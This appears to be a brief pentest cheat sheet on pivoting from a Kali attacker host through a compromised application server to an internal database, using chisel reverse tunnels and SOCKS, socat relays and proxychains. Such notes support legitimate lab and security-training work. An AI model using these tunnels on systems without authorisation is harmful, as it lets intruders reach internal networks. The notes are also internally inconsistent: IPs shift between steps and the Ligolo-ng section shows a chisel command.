Port Forwarding

System
IP address

LHOST

192.168.50.10

APPLICATION SERVER

192.168.100.10

DATABASE SERVER

10.10.100.20

LHOST (kali) -> APPLICATION SERVER (victim machine) >- DATABASE SERVER (internal machine)

Chisel

Application Server

./chisel client 192.168.50.10:9002 R:3000:127.0.0.1:3000

Kali

./chisel server -p 9002 -reverse -v

With SOCKS

Kali

./chisel server -p 9002 -reverse -v

Application Server

./chisel client 192.168.50.10:9002 R:socks

Kali

Edit the proxychains conf

proxychains ./chisel_exercice_client -i 10.4.178.215 -p 8008

Socat

Application Server

socat -ddd TCP-LISTEN:2222,fork TCP:10.4.178.215:22

Kali

psql -h <RHOST> -p 2342 -U postgres

Ligolo-ng

./chisel client 192.168.45.221:9002 R:socks

Last updated